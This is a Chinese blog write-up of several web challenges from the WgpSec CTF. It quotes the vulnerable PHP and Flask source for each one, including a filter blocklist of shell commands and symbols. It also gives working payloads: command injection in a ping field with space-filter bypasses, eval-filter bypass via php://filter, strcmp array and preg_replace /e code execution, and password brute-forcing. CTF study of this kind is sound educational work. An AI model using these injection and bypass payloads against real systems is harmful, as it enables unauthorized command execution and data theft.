WgpSec CTF-Web部分wp

你可能需要一部Iphone

 这里需要iphone的user-agent

网上找了一个

Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 

 修改phone里的user-agent

即可拿到flag

baby.php

源代码:

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

浅看一下是get传参和post传参

最关键的就是双$也就是变量覆盖了,

因为key必须为flag,对于post来说,你传的value都会赋值给$flag

但对于get来说,你传的value还必须有值。

最后输出$flag的值,如果想获取到flag,那么其值必须不能变动

payload:

?a=flag&flag=a

小心我ping死你

简单试一下过滤,发现;可以使用

ls被过滤了

127.0.0.1;dir

 这里空格也被过滤了

可以使用

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS

查看index.php

127.0.0.1;tac$IFS$9index.php

index.php代码

 print_r($a); echo "
";
		$a = shell_exec("ping -c 4 ".$ip);
		}
			die("you cant get flag !");
		else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
		}
			die("no no no you cant use ls it  !!!");
		else if(preg_match("/ls/", $ip)){
		}
			die("no no no you cant use base64 it  !!!");
		else if(preg_match("/base64/", $ip)){
		}
			die("no no no you cant use cat it  !!!");
		else if(preg_match("/cat/", $ip)){
		}
			die("do not bash hacker !!!");
		else if(preg_match("/bash/", $ip)){
		}
			die("do not space hacker !!");
		else if(preg_match("/ /", $ip)){
		}
			die("do not symbol hacker !!");
			echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			print($ip);
			print_r($match);
		if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
		$ip = $_GET['ip'];
	if(isset($_GET['ip'])){

发现过滤一堆东西

这里可以使用拼接绕过

payload:

?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php

拿到flag 

DingDingDIng🐾 

源代码:

<?php
show_source(__FILE__);
error_reporting(0);
$you = "you are ?";
extract($_POST);
if($you != 'i am pig'){
    echo '<img src="./Ding.gif">'."</br>";
    die('Ding Ding Ding ~');
}

$peiqi = ["y","eval","assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$peiqi = array_merge($peiqi, get_defined_functions()['internal']);
foreach($peiqi as $i){
    if(stristr($_GET[peiqi], $i)!==false){
        echo '<img src="./heihei.jpg">'."</br>";
        die('修完bug就可以睡觉了,嘿嘿嘿~');
    }
}
eval($_GET[peiqi]);
//flag 在 ./flag.php里
?>

使用拼接绕过 

payload:

POST:you=i am pig
GET:?peiqi=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

base64解码即可(别忘把后面/Pgo=删掉)

php is the best !!!

源代码:

 <?php
    highlight_file(__FILE__);
    $who = "who are you?";
    $str = "I am a CTF player";
    extract($_POST);
    if(strcmp($who, $str)){
        echo "<h1>$who</h1>";
        die();
    }
    echo '<h1>PHP是世界上最好的语言</h1>';
    function Ameng($key, $value){
        return preg_replace('/(' . $key . ')/ei', 'strtolower("\\1")', $value);
    }
    foreach ($_GET as $key => $value){
        echo Ameng($key, $value);
    }
?> 

第一步是绕过strcmp

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

所以可以构造payload:

who[]=x

接下来是preg_replace()函数/e模式

这里参考https://www.cnblogs.com/W4nder/p/12361646.html

payload:

?\S*=${phpinfo()}

 然后搜索flag即可

Poems

先看一下code.py

#flag in /flag
@app.route('/')
def get_poem():
    poemname = request.args.get('name')

    if not poemname:
        return render_template("result.html",message=os.listdir('poems'))

    poemdir = os.path.join(os.getcwd(), 'poems')
    poempath = os.path.join(poemdir, poemname)

    if '..' in poemname:
        return 'Illegal substring detected.', 403

    if not os.path.exists(poempath):
        return 'File not found.', 404

    return send_file(poempath)

从 URL 的查询参数中获取名为 'name' 的参数。例如,如果用户访问/?name=example.txt,那么poemname就会被设置为example.txt。

我们打开网站

flag就在文件里面 

尝试找到你的小姐姐吧! 

开局一张图,剩下全靠编

遇事不决robots.txt一下

 运气真好

网址被吃掉了,可以看看Hint里面是什么内容

Hint{4WIKZ2FPWTS3BD7FU6IOLJ4Q46C2PZ4JQ7UYPDHJTWRONHEJ4WS33ZFYTTUKLP7PXSGONHEJ42ZKDZU4RHUK7FPIX6D6RLVQ4S5IXZU4VTTITE7FXSAOLENC566J6===}

 base32解码

打开小姐姐照片,搜索flag

 /7b6ca699

果然漂亮小姐姐大家都喜欢

上面给的密码显示错误

但因为之前讲了密码为5位数字

直接爆破 

一下就爆出来了,还以为要绕过验证码呢

登入即可

 提交flag里面{}的内容即可,不用提交flag这个字母,真奇怪

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值